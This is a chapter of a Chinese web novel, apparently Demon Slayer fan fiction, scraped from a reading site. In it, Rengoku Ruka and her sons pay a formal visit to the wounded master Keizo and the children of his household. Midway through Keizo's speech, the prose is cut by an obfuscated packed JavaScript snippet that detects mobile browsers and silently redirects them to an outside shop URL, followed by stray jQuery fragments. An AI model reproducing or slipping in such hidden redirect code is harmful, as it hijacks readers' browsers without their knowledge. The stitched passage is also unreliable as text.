默认冷灰
24号文字
方正启体

36.正式拜访

作者:顾扶琰本书字数:K更新时间:
    早上醒来,瑠火借着窗纸透进来的微弱晨光,看了看身边两个还在熟睡的孩子。杏寿郎睡相不怎么老实,一条腿压在被子外面,许是夜里睡热了,也不怕着凉。千寿郎缩成小小一团,脸埋在枕头里,只能看见一头火焰般的头发乱蓬蓬地支棱着。


    瑠火轻轻掀开被子,起身穿好衣服。她昨晚已经把带来的东西简单归置过。现在要做的第一件事,是带两个孩子洗漱吃饭,然后去拜访庆藏师父一家。


    她走到窗边,拉开一条窗缝看了看外面。天还没大亮,但院子里已经有人影在走动,是隐队员们在换班。


    “杏寿郎千寿郎,醒一醒,该起床了。一会儿吃完饭还要去拜访庆藏师父他们。”瑠火走回床边,轻轻拍打着两个孩子。


    杏寿郎的反应最快,听见母亲的声音就睁开眼睛,然后一骨碌坐起来:“母亲早上好!”


    千寿郎就慢得多,到底还是个小孩子,翻了个身还想继续睡。瑠火轻轻拍了拍他的背:“千寿郎,起床了。今天要去拜访人家,不能赖床的。”


    “唔…好”千寿郎这才迷迷糊糊地睁开眼,揉着眼睛坐起来,头发乱得像个鸟窝。


    瑠火帮两个孩子穿好衣服,又仔细检查了一遍。杏寿郎今天穿的是一件深蓝色的和服,腰间系着黑色的带子,是他平时正式场合穿的。千寿郎穿着同款的浅蓝色,只是袖口略长,瑠火帮他挽了挽。


    “先去洗漱。”瑠火领着两个孩子出门。


    院子里的隐队员看见他们,连忙行礼。瑠火问了洗漱的地方和水井的位置,带着孩子们过去。


    洗漱完,瑠火又帮他们把头发重新扎好。杏寿郎的头发长些,扎起来一个小揪揪,显得利落一点;千寿郎的头发软,总是不听话地翘起来几撮,瑠火弄了好一会儿才弄服帖。


    “好了。”瑠火直起身,看了看两个穿戴整齐的孩子,“走吧,先去吃早饭。”


    吃早饭的地方在据点另一侧的一个小屋里。隐队员早已准备好热气腾腾的早饭:白粥、煎蛋、烤鱼、腌菜,还有一碗味噌汤。两个孩子早就饿了,坐下就埋头吃起来。瑠火则一边吃一边看着两个孩子,偶尔提醒一句“慢点吃”。


    吃完饭,瑠火带着孩子们回房间,开始清点要带去的礼物。


    礼物昨晚就已经整理好了,现在只是再确认一遍。给庆藏师父的茶叶和护具,给恋雪和小梅的两对发簪,杏寿郎挑的书和护膝,千寿郎买的点心和金平糖,还有两个孩子单独挑的那两样小礼物——雪花书签和粉色绢花。


    瑠火一样样看过去,确认没有遗漏,又把包装重新系紧了些。然后她站起来,走到两个孩子面前,上上下下仔细打量了一番。


    杏寿郎站得笔直,任由母亲检查。千寿郎也有样学样,挺起小胸脯。


    “衣领。”瑠火说。


    杏寿郎立刻抬手,把自己的衣领整了整。瑠火又弯腰,帮千寿郎把有点歪的衣领弄正。


    “腰带。”


    杏寿郎低头看了看自己系得紧紧的腰带,点点头。千寿郎的腰带有点松,瑠火蹲下来帮他重新系紧。


    全部检查完毕,瑠火又看了看两个孩子的脸。杏寿郎精神饱满,眼睛亮亮的;千寿郎还有点没睡醒的样子,但也在努力睁大眼睛。


    “好了。”瑠火点点头,“记住,待会儿见到人,要先行礼,再自我介绍。说话要有礼貌,声音要清楚。明白吗?”


    “明白!”两个孩子异口同声。


    瑠火拎起装礼物的包袱,一手牵起一个孩子,出了门。


    庆藏师父他们养伤的住所离得不远,穿过院子走一小段就到了。门口值守的隐队员看见瑠火,立刻行礼:“炼狱夫人。”


    “辛苦了。”瑠火微微颔首,“庆藏师父可在屋内?方便打扰吗?”


    “在的。”隐队员说,“庆藏师父已经醒了,我这就给您通报。”


    隐队员进去没多久,就出来请他们进去。瑠火深吸一口气,牵着两个孩子,跨过门槛。


    进了屋就看见庆藏师父靠坐在床上,背后垫着厚厚的靠枕,身上盖着薄被。他脸色比前几天槙寿郎描述的好了些,但依旧能看出病容,眼眶有些凹陷,嘴唇也没什么血色。左肩和胸口的位置缠着厚厚的绷带,隐约能看见药渍透出来。


    见瑠火他们进来,庆藏师父连忙想坐直身子,但刚一动就疼得眉头一皱。


    “庆藏师父不必多礼!”瑠火赶紧上前两步,“您身上有伤,千万躺着就好。”


    庆藏师父这才没再勉强,但脸上带着不好意思的笑:“这…这怎么好意思,客人来了我却什么也没有收拾准备。您就是炼狱先生的夫人吧?让炼狱夫人亲自来看我,还带着两位小公子…实在失礼。”


    瑠火在床边站定,微微欠身行礼。杏寿郎和千寿郎站在母亲身侧,也认认真真地鞠躬。


    “庆藏师父,初次见面。我是槙寿郎的妻子,炼狱瑠火。”瑠火直起身,声音温和清晰,“这两个是我的儿子,杏寿郎和千寿郎。”


    杏寿郎立刻上前一步,声音洪亮:“庆藏师父好!我是炼狱杏寿郎!初次见面,请多关照!”


    千寿郎也跟着上前,努力大声道:“我是炼狱千寿郎,初次见面,请多关照。”


    庆藏师父看着眼前这母子三人,一时竟有些愣神。


    炼狱先生那天来去匆匆,他只记得那人高大得像一团行走的火焰。虽然炼狱先生说他们家父子三人长得很像,但是那天也没有什么实感。现在见了他的妻儿,才更真切地感受到,这确实是一家人。


    两个孩子那头醒目的火金色头发,和父亲如出一辙,连眼神里那股认真劲儿都像是一个模子刻出来的。只是细看才可以发现两个孩子的五官和脸型像母亲瑠火比较多。


    而这位炼狱夫人…庆藏师父打量着瑠火。她穿着素净的和服,头发简单挽在一旁,气质沉稳通透,绝非寻常女子能有。炼狱先生那样的人,能娶到这样的妻子,倒是一点也不奇怪。


    “快请坐,快请坐。”庆藏师父回过神来,连忙招呼,又对门口喊道,“那个…小野君?能不能帮忙倒几杯茶来?”


    门外有人应了一声,很快就端了茶进来。


    瑠火在床边的椅子上坐下,杏寿郎和千寿郎挨着母亲坐好。她把手里的包袱放在膝上,解开,取出里面的礼物。


    “庆藏师父,”瑠火将茶叶和护具双手递上,“这是我们的一点心意。初次拜访,叨扰之处还请见谅。茶叶是给您的,这副护具是我看着还不错,您伤好后或许能用上。”


    庆藏师父连忙双手接过,嘴里不住地说:“这,这怎么好意思,太破费了…”


    瑠火又把杏寿郎挑的书和护膝拿出来:“这是杏寿郎自己挑的礼物,说想送给您的两位弟子。”


    杏寿郎立刻站起来,把东西捧到庆藏师父面前:“庆藏师父!这是给狛治哥和太郎哥的!书是讲剑术和步法的,护膝是我挑的最结实的!等他们伤好了可以用!”


    庆藏师父看着眼前这双认真又热切的眼睛,一时不知该说什么好。他接过东西,只觉得手上沉甸甸的。


    “好孩子…好孩子…”他声音有些发涩,“我替狛治和太郎谢谢你。”


    千寿郎也站起来,把自己买的点心和金平糖递过去,道:“这是给大家一起吃的糖果和点心,我想和大家交朋友。”


    庆藏师父接过来,看着千寿郎那双带着点怯生生的眼睛,心里软成一片。这孩子,和自家小梅一样,都是个乖巧的好孩子。


    “谢谢千寿郎。”他放轻声音,“小梅那丫头,最爱吃甜的了。她肯定高兴坏了。”


    千寿郎听了,脸上露出一点笑容。


    瑠火又从包袱里拿出那两对发簪,放在一边,但没有多说什么。还有两个孩子单独挑的礼物,她也没拿出来,毕竟那是要让他们自己送出去的。


    庆藏师父看着眼前堆得满满的礼物,又看看瑠火母子三人,脸上满是过意不去的表情:“炼狱夫人,这…这实在是太客气了。我什么也没准备,连个像样的回礼都拿不出来真是太失礼了…等伤好后,还请夫人带着两位公子来我道场做客,我庆藏一定好好招待!”


    他确实什么都没准备。这几天躺在床上,一切事务都靠隐队员照顾,连动一下都费劲,哪还能想这些。


    “庆藏师父千万别这么说。”瑠火摇摇头,“您身上有伤,安心养伤就是最要紧的事。这些不过是些小东西,不值什么。日后如果有机会,我定会带着杏寿郎千寿郎登门拜访。”


    她顿了顿,目光在庆藏师父脸上停留片刻:“我听槙寿郎说了您和弟子们的事。以普通人的武艺,没有趁手的兵器,却能和鬼缠斗那么久,护住家人,拖延到救援…这份胆魄和担当,值得尊重。我们带些礼物来,也是应该的。”


    庆藏师父被她说得有些不好意思,连连摆手:“哪里哪里,炼狱先生过誉了。我们当时也是没办法,那怪物追着不放,总不能眼睁睁看着家里人受害…我是没什么,就是舍不得几个孩子,当时还想着拼了这条老命,起码能换回几个孩子的一线生机…最后多亏了炼狱先生及时赶到才幸免于难。”


    他说着,目光落在杏寿郎和千寿郎身上,眼里带着赞赏:“炼狱夫人,您这两个孩子,真是教养得好。一看就是知礼数的好孩子,这气度,这眼神…将来必成大器。”


    杏寿郎被夸得挺了挺胸膛,但还记得母亲教的礼数,连忙说:“庆藏师父过奖了!”


    千寿郎则有些不好意思地低下头,耳朵尖有点红。


    瑠火微微一笑:“庆藏师父过誉了。他们还小,还需多磨砺。”她顿了顿,说起此行另一个目的,“其实这次来,除了看望您,还有一个原因。槙寿郎说,您家里有和我这两个儿子年龄相仿的孩子。杏寿郎这孩子,听说您和弟子们的事,早就迫不及待想和您的弟子交流武艺了。千寿郎也一直想交新朋友。”


    她看了看两个孩子:“所以我想着,让他们来,若能交到志同道合的伙伴,也是好事。”


    庆藏师父听了,眼睛一亮:“是了是了!那日听炼狱先生说了,我家那几个孩子,确实和两位公子年龄相仿。狛治和太郎,杏寿郎肯定能聊到一块儿去。恋雪那丫头,从小身子弱,没什么玩伴,整日里只能看书。小梅那孩子活泼,总嚷嚷着要交朋友。炼狱先生那天也和我提过这事,说想让孩子们来作伴,我还一直惦记着呢。”


    他正说着,门外传来一阵脚步声,还有隐约的说话声。


    “狛治哥你慢点走!你胳膊还挂着呢!”


    “我没事,你别拉我。”


    “小梅,让狛治先生自己走,你别拽他。”


    “恋雪姐姐你自己还病着呢,别管我了…”


    门被推开,四个孩子出现在门口。


    最前面的是小梅,穿着一件樱粉色的小袄,头发扎成两个小揪揪,手里还拿着什么东西。她正要往屋里冲,看见里面坐着陌生人,一下子刹住脚步,大眼睛眨了眨。


    狛治跟在她后面,右肩和左臂缠着厚厚的绷带,还用吊带挂在脖子上。他穿着据点提供的一件深蓝色和服,脸色已见好了大半。看见屋里有人,他脚步顿了顿,目光扫过瑠火母子三人。


    太郎跟在狛治身后,右手裹得严严实实,左手还拖着右手手腕。他脸上那几道血痂已经结痂变暗,但还很明显。看见屋里的人,他微微低下头,下意识往后退了半步。


    恋雪走在最后,脸色苍白,眼下青黑明显,脚步也有些虚浮。是因为这几天一直担心父亲他们的伤情,加上受惊悲伤,一下子病倒了。今天才好一点,能跟着小梅他们出门。她穿着粉紫色的和服,外面罩着厚外褂,看见屋里有人,她愣了一下,随即努力站直身子。


    四个孩子就这样站在门口,一双双眼睛看向屋里。


    庆藏师父见状开口开口:“来来来,快进来。正好,炼狱夫人带着两位公子来看咱们了。”


    狛治最先反应过来。他侧身让了让,等恋雪和小梅先进来,然后才跟在后头。太郎牵着小梅的手,带着妹妹一起走进屋。


    进了屋,狛治没急着坐下,而是先看向庆藏师父,用眼神询问。庆藏师父对他点点头,示意没事。


    然后狛治转向瑠火母子三人,弯下腰,规规矩矩地行了一礼。牵动肩膀的伤口,他眉头微微皱了一下。


    “初次见面,我是狛治。是庆藏师父的大弟子,刚才怔愣、一时失礼,还望夫人见谅。”


    太郎跟着行礼,动作有些局促,因为右手不能用,只能左手搭在右手上,微微欠身:“我是太郎,是师父的二弟子。初次见面,请多关照。”


    恋雪上前一步,双手叠在身前,盈盈下拜:“我是恋雪,初次见面,失礼了。”


    小梅学着姐姐的样子,也笨拙地行了个礼,但眼睛忍不住往杏寿郎和千寿郎那边瞟:“我叫小梅!是…是哥哥的妹妹!”


    瑠火站起身,微微欠身回礼。杏寿郎和千寿郎也赶紧站起来,跟着母亲一起回礼。


    “我是炼狱瑠火,槙寿郎的妻子。”瑠火温和地说,“这两个是我的儿子,杏寿郎和千寿郎。”


    杏寿郎立刻上前一步,声音洪亮:“我是炼狱杏寿郎!初次见面,请多关照!”


    千寿郎跟着说:“我是炼狱千寿郎,请多关照。”


    几个孩子互相看着对方,气氛一时有些安静。


    瑠火转向庆藏师父,轻声道:“庆藏师父,孩子们有孩子们相处的方式。要不,让他们自己去隔壁房间坐坐,说说话?”


    庆藏师父连连点头:“好好好,这个主意好!让孩子们自己玩去!”他看向狛治他们几个,“狛治,你带着他们几个,和炼狱家的两位公子去隔壁屋,好好相处。人家远道而来,你们可要好好招待。”


    “是,师父。”狛治应道。


    瑠火也看向杏寿郎和千寿郎:“去吧。记得要有礼貌,好好说话。”


    “是,母亲!”杏寿郎应得最响亮。


    千寿郎点点头,但眼睛忍不住往小梅那边看。小梅也正好在看他,两个小家伙目光撞上,又都赶紧移开。


    瑠火从包袱里拿出那两对发簪,递给恋雪和小梅。她的动作很轻,声音也很轻:“这是给你们两个准备的。我按当下时兴的风格挑的,不知道合不合你们的心意。”


    恋雪双手接过,看着那对素雅的发簪,眼眶一下子就红了。她张了张嘴,想说谢谢,却发不出声音。小梅接过那对颜色活泼的珠花,大眼睛眨了眨,又眨了眨,然后抬头看向瑠火。


    瑠火没有再多说什么。她向前走了一步,伸出手,先轻轻摸了摸恋雪的头。恋雪浑身一僵,似乎不太习惯这样的触碰。另一只手摸了摸小梅的头,小梅也愣住了,因为在她尚且短暂的人生中,还没有什么人给过她名为“母亲”的爱与温暖。


    然后瑠火微微蹲下身,张开手臂,将两个女孩一起轻轻拥进了怀里。


    她的动作很轻,像是怕弄疼她们似的。她也没有说话,只是轻轻地、一下一下地抚摸着她们的背。


    恋雪的眼泪终于忍不住了。她咬着嘴唇,拼命不让自己哭出声,但肩膀一抖一抖的,身体控制不住地往瑠火怀里靠。她很小的时候就没有了母亲,父亲对她很好,很好很好,可是父亲终究不是母亲。


    父亲和母亲是互相不可替代的。父亲或许可以承担母亲这个角色的责任,但是给不了这个角色下的爱。父亲之前学着给她梳头,能把头发扯得生疼;给她煎药,不是太烫就是太凉。恋雪知道,父亲已经很努力很努力了。可是…可是有些东西,父亲给不了。


    就像现在这样,被一个女人,被一个“母亲”一样的女人,轻轻拥在怀里。


    小梅抬头看着瑠火的脸,看着那双温柔的眼睛,看着那个温暖的怀抱。她不记得自己有没有被母亲这样抱过。那时候太小了,那些日子太黑了,什么都想不起来。可是这一刻,被这个陌生的、好看的夫人抱在怀里,她觉得…心里有什么东西,软软的,酸酸的,堵在喉咙口。


    瑠火感觉到怀里的两个小姑娘在发抖。她没有松开,只是把她们拥得更紧了些,手还在轻轻拍着她们的背。


    “这几天辛苦你们了。”瑠火的声音就在她们耳边,“你们也很了不起。”


    恋雪的眼泪止不住地流出。她把脸埋在瑠火肩头,无声地哭着,眼泪很快濡湿了瑠火的衣服。小梅也忍不住了,小脸皱成一团,呜呜地哭起来,两只小手紧紧抓着瑠火的衣襟。


    庆藏师父看着这一幕,喉结滚动了好几下,一句话也说不出来。他转过头,用手背快速抹了一下眼角。


    狛治垂下眼,盯着地面,喉结也在动。太郎低着头,看不清表情,但垂在身侧的左手攥紧了,又松开,又攥紧。


    杏寿郎和千寿郎站在一旁,两个小家伙你看看我,我看看你,都不知道该说什么。千寿郎眼眶也有点红,他往哥哥身边靠了靠,小手抓住哥哥的袖子。


    瑠火没有急着松手,就那么抱着两个女孩,一下一下地拍着,直到她们哭够了,哭声渐渐变成抽噎,又渐渐安静下来。


    她这才轻轻松开手,低头看着两个女孩哭红的脸,从袖子里掏出帕子,先给恋雪擦了擦脸,又给小梅擦了擦。


    “好了。”瑠火直起身,脸上带着浅浅的笑意,“去吧,和他们一起去玩。把眼睛哭成这样,可不好看。”


    恋雪接过帕子,自己擦了擦,红着脸小声说:“谢谢瑠火夫人…”


    小梅也小声说:“谢谢夫人…”


    瑠火轻轻摸了摸她们的头,没再多说什么。


    庆藏师父这才清了清嗓子,努力让自己的声音听起来正常些:“好了好了,那个…狛治,你带着他们几个去隔壁屋吧。好好招待人家,别光站着。”


    “是,师父。”狛治应道,看向瑠火母子三人,侧身让开路,“这边请。”


    瑠火对庆藏师父点了点头,又对两个孩子说:“去吧,好好玩。”


    杏寿郎和千寿郎点点头,跟着狛治他们出了门。


    等孩子们都走了,瑠火重新在椅子上坐下,看着庆藏师父。庆藏师父还红着眼圈,脸上带着不好意思的笑,连连摆手:“让您见笑了,我这几个孩子…唉…还把您的衣服给弄成这样,真是太失礼了。”


    “庆藏师父别这么说。”瑠火摇摇头,“都是好孩子。衣服不碍事的,天冷穿的也比较厚,只是湿了外衫,回去我换一件就好了,不必介意。”


    庆藏师父沉默了一会儿,叹了口气:“是啊…都是好孩子。恋雪很小的时候就没了母亲,我一个大老粗,也不知道怎么养女儿。狛治那孩子,来的时候浑身是伤,身上还带着那烙印…可那孩子心性好,踏实,靠得住。太郎和小梅就更不用说了,在草垛里捡回来的,大冬天的,两个瘦成那样,一个还发着高烧。小梅那丫头,刚来的时候都不敢大声说话…”


    他说着说着,声音低了下去,像在自言自语,又像在说给瑠火听。


    瑠火没有打断,只是静静地听着。


    过了一会儿,庆藏师父抬起头,看向瑠火:“炼狱夫人,您刚才…那两个孩子,好久没被人那样抱过了。我替她们谢谢您。”


    “庆藏师父客气了。”瑠火轻声说,“她们值得被人好好对待。”


    两人沉默了片刻。


    这次瑠火先开口:“庆藏师父,关于这次鬼袭击的事,有些话,我想和您说。”


    庆藏师父神色一正,点了点头:“您请讲。”


    “这个世界,还有很多不为人知的黑暗面。”瑠火缓缓说道,“食人鬼近年来不断增多,活动也异常频繁。这次把您和孩子们卷进来,实属意外,但也并非偶然。鬼这种东西,只要有机会,就会出现在任何地方。”


    她顿了顿,看向庆藏师父的眼睛:“我这次带孩子来,主要目的,确实是想让他们交些朋友。其余的事,槙寿郎也和我说了。他已经禀明主公大人,不会有任何人强迫您做出任何决定。您按照自己的心意来就好。”


    庆藏师父沉默了很久很久。


    久到连窗外的阳光都透过纸窗,在屋里投下斑驳的光影。远处隐约传来孩子们说话的声音,听不清说什么,但能听出热闹。


    “炼狱先生那天的话,我考虑了很多。”庆藏师父终于开口,声音比刚才低沉了些,“说到底,我庆藏活了大半辈子,年轻时候只有武术为伴,后来成家,也只是守着妻女。这几年,也只不过是守着这几个苦命的孩子…”


    他顿了顿,目光落在门口的方向,那里已经看不见孩子们的身影了。


    “我只不过是一个普普通通的道场师父,从来没有想过能和什么鬼杀队、什么恶鬼扯上关系。”他的声音平静,像是在说一件和自己无关的事那般,只是偶尔露出些许情绪。


    “可是命运向来如此,让人想不到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213725|192542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    接下来会发生什么。就像我想不到会在普通的一天失去了我的妻子,恋雪也失去了她的母亲;就像我想不到会在普通的街头遇见打架的狛治,把他打了一顿带回家,从此教授他武艺;就像我想不到会在普通的雪夜,遇见草垛里面的太郎和小梅,也因此又得了一个弟子,恋雪也有了小梅做伴。”


    “我的私心,让我放不下我的孩子们。让我放不下凡世的生活,让我放不下友善的街坊邻居,让我放不下那些可爱的小学徒。我就想守着这一亩三分地,看着孩子们长大成人,娶妻生子,平平安安过一辈子。”


    他抬起头,看向瑠火,眼神里有挣扎,也有坦然:“可是我的理智又在告诉我,如果我帮忙的话,也许我的孩子们在将来就可以多一份安全保障。也许像炼狱先生那样的人,就可以多活下去几个。哪怕只是争取一些活命的时间…”


    他没有把话说完,但意思已经很明显了。


    瑠火看着他,没有立刻接话。


    过了好一会儿,她才轻轻开口:“庆藏师父,您知道吗?槙寿郎那天回家后,跟我说了很多您和您弟子的事。他说,他赶到的时候,你们三个人浑身是血,还在和那只鬼拼命。他说,你们明明只是普通人,用的也是普通兵器,但硬是撑到了他赶来。”


    “您说您只是个普通道场师父。但在我看来,能在那种情况下护住家人、死战不退的人,一点也不普通。”


    庆藏师父愣了愣,随即苦笑起来:“炼狱夫人过奖了。我当时哪里想那么多,就想着不能让那怪物伤着孩子们…他们还小,还有很多事没有经历,还有那么好的未来。”


    “正是这样,才更难得。”瑠火说,“没有那么多想法,只有护住家人的本能。这种本能,比任何武艺都珍贵。”


    她站起身,对庆藏师父微微欠身:“庆藏师父,您慢慢考虑,不急于一时。不管您最终做什么决定,鬼杀队都会尊重。眼下最要紧的,是把伤养好。”


    庆藏师父看着她,嘴唇动了动,最终只是点了点头:“多谢您,炼狱夫人。”


    瑠火笑了笑,重新坐下。


    隔壁房间里,气氛已经从最初的拘谨,变得热闹起来。中间铺着榻榻米,几个孩子围坐成一圈。


    杏寿郎最先打破沉默。他把带来的东西一样样拿出来,递到对应的几个人面前。


    “这是给你的!”他把那两本书和护膝递给狛治和太郎,声音洪亮,“书是讲剑术和步法的!护膝是我挑的最结实的!父亲说你们没有趁手的兵器就和鬼打了好久,我觉得非常厉害!等你们伤好了,我想和你们切磋!”


    狛治接过书和护膝,一时有些愣神。他低头看着手里的东西,书页有些旧,但保存得很好,护膝针脚密实,皮革厚实。他抬起头,看向杏寿郎那双亮晶晶的眼睛。


    “谢谢。”狛治说,声音有点涩,“等伤好了,一定。”


    太郎接过东西,也有些不知所措。他不太习惯被人这样郑重地对待,尤其是被一个看起来家境很好、教养很好的孩子。他张了张嘴,只说出一句“…谢谢”。


    杏寿郎又从怀里掏出一个小小的竹片书签,递给恋雪:“这是给你的!母亲说你喜欢看书,我想这个书签你应该能用上!”


    恋雪接过书签,愣住了。竹片打磨得很光滑,上面刻着一朵小小的雪花,边缘圆润,看得出来是用心选的。


    “谢谢杏寿郎君。”恋雪轻声说,把书签小心地握在手心里,“我会好好用的。”


    千寿郎见哥哥送完了,也赶紧把自己准备的东西拿出来。那包点心和金平糖放在中间,是给大家一起吃的。然后他从怀里掏出那对粉色绢花,递到小梅面前,小声道:“这个是给你的…”


    小梅眨眨眼,看着那对粉色绢花,小巧而精致。她抬头看千寿郎,千寿郎正看着她,眼睛亮亮的,但有点紧张,好像怕她不收似的。


    “好漂亮!”小梅接过绢花,“这是给我的吗?真的吗?”


    千寿郎用力点头。


    小梅高兴得不知道怎么办才好,拿着绢花翻来覆去地看,然后对千寿郎露出一个大大的笑容:“谢谢千寿郎!我好喜欢!”


    千寿郎也笑了,笑得眼睛弯弯的。


    几个孩子围坐在一起,开始分吃那包点心和金平糖。千寿郎主动当起了“解说员”,指着不同的点心说这个是什么味的,那个是什么味的。小梅就负责吃,每尝一种就点点头,表示好吃。


    杏寿郎已经和狛治、太郎聊上了。他问他们平时练什么,怎么练,和鬼打的时候是什么感觉。狛治话不多,但问什么答什么。太郎也慢慢放开了些,偶尔插一两句。


    恋雪坐在一旁,手里还握着那个雪花书签,听着他们说话,脸上带着浅浅的笑意。千寿郎分完点心,挪了挪,坐到她旁边,小声问:“恋雪姐姐,你平时在家里都做什么呀?”


    恋雪看向他,温和地说:“我身体不太好,所以很多时候只能在床上看书。最近才慢慢好起来,可以出来走动了。”


    千寿郎点点头:“我母亲也督促我练习剑术,可是我不太会。大哥练得比我好多了。我平时喜欢看书,还有画画。”


    “画画?”恋雪温柔地问,“那你喜欢画什么?”


    “什么都画。”千寿郎说,“树啊,花啊,鸟啊,有时候也画父亲和母亲。我带了画本和颜料来,之后我们可以一起画。”


    “那太好了。”恋雪笑了,“我也喜欢看画,但自己不会画。到时候你画,我看,好不好?”


    千寿郎用力点头。


    另一边的对话更热闹。杏寿郎问狛治:“你们那个素流的武艺,和普通的武术有什么不一样?”


    狛治想了想,说:“师父教的,更注重根基和实用。没有那么多花架子,就是怎么有效怎么来。”


    “听起来很有意思!”杏寿郎眼睛更亮了,“等你们伤好了,一定要和我切磋!我想见识见识!”


    狛治看着他,难得地扯了扯嘴角:“好。我也想见识见识你们炼狱家的剑术。”


    太郎在旁边小声说:“我也想看看。”


    杏寿郎哈哈笑起来,笑声爽朗,像他父亲一样:“那到时候我们一起!三个人轮流切磋!”


    小梅正吃着金平糖,听见他们说话,抬起头问:“那我和恋雪姐姐呢?我们可以看吗?”


    “当然可以!”杏寿郎说,“你们在旁边看,给我们加油!”


    小梅听了,满意地点点头,继续吃糖。


    千寿郎也说:“我也想看哥哥切磋。”


    恋雪轻轻摸了摸他的头:“到时候我们一起看。”


    小梅吃着吃着,忽然想起什么,抬起头问:“千寿郎,你喜欢吃什么呀?下次我也让我哥哥给你买!”


    千寿郎想了想,认真地说:“我喜欢甜的。还有软软的东西。”


    “那我记住了!”小梅点点头,又看向杏寿郎,“杏寿郎哥哥你呢?”


    杏寿郎想了想:“我什么都喜欢!好吃的都喜欢!”


    狛治在旁边忍不住笑了一下。太郎也抿了抿嘴。


    恋雪看着他们,脸上的笑容比刚才更放松了些。她握着那个雪花书签,听着满屋子的说话声、笑声,心里那些一直压着的害怕和不安,好像也慢慢散开了些。


    瑠火夫人说得对,有人陪着说说话,玩一玩,真的会好很多。


    隔壁房间里,瑠火和庆藏师父也还在说着话,但话题已经轻松了许多。


    两人聊起各自的孩子,瑠火说了些杏寿郎和千寿郎小时候的事,庆藏师父就说起恋雪小时候多乖多懂事,狛治刚来时有多倔,太郎和小梅刚来时有多瘦多怕人。


    “小梅那丫头,刚来的时候,看见什么都害怕。”庆藏师父说着,脸上带着笑,“吃饭都不敢多吃,好像怕吃了这顿没下顿似的。现在可好,什么都敢吃,什么都敢说,整天叽叽喳喳的,围着每个人转。”


    瑠火笑了笑:“孩子能活泼起来,是件好事,也说明庆藏师父您这个家氛围好。”


    “是啊是啊。”庆藏师父连连点头,“我就盼着他们能一直这么活泼下去,平平安安长大,比什么都强。”


    过了一会儿,瑠火看了看天色,站起身说:“庆藏师父,时候不早了,我们就不多打扰了。您好好养伤,改日我们再来看您。”


    “这就要走?”庆藏师父有些着急,“再坐会儿吧,让孩子们多玩会儿。”


    “不了,”瑠火摇摇头,“孩子们也该休息了,我们要在这里住上一些时日,等之后再让他们一起玩便是。”


    庆藏师父这才没再挽留,瑠火对他微微欠身,转身出了门。


    走到隔壁房间门口,就听见里面传出来的说笑声。瑠火站在门口听了一会儿,脸上露出笑意,然后伸手拉开纸门。


    屋里几个孩子正围坐着,小梅手里还拿着半块点心,杏寿郎正比划着什么,狛治和太郎听着,千寿郎和恋雪坐在一起,说着什么。


    看见瑠火进来,几个孩子都停了下来。


    “母亲!”杏寿郎立刻站起来,跑过去,“我们聊得好开心!狛治哥说等伤好了要和我切磋!太郎哥也说想一起!”


    瑠火笑着摸了摸他的头:“那就好。”


    她看向狛治他们几个,微微颔首:“今日打扰了。孩子们玩得很开心,多谢你们招待。”


    狛治连忙站起来回礼:“您客气了。”


    恋雪也站起来,轻轻欠身:“瑠火夫人慢走。”


    小梅跑过来,仰着小脸说:“夫人再见!杏寿郎再见!千寿郎明天还来玩吗?”


    千寿郎点点头:“来!”


    “那太好了!”小梅高兴地拍了拍手。


    瑠火牵起两个孩子的手,走出房间。


    回去的路上,杏寿郎还在兴奋地说着:“母亲!狛治哥他们好厉害!没有武器就和鬼打了那么久!等他们伤好了我一定要和他们切磋!”


    “好。”瑠火应着。


    千寿郎走了一会儿,忽然抬起头说:“母亲,今天我也很开心。”


    瑠火低头看着他,千寿郎脸上还带着未散去的笑容,眼睛也亮亮的。


    “小梅姐姐收了我的花,说很喜欢。恋雪姐姐说等以后我们一起画画…”


    瑠火握紧了他的小手:“那就好。”


    两家的初次相遇,为未来的他们留下了一个锚点,命运的线由此纵横交错。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)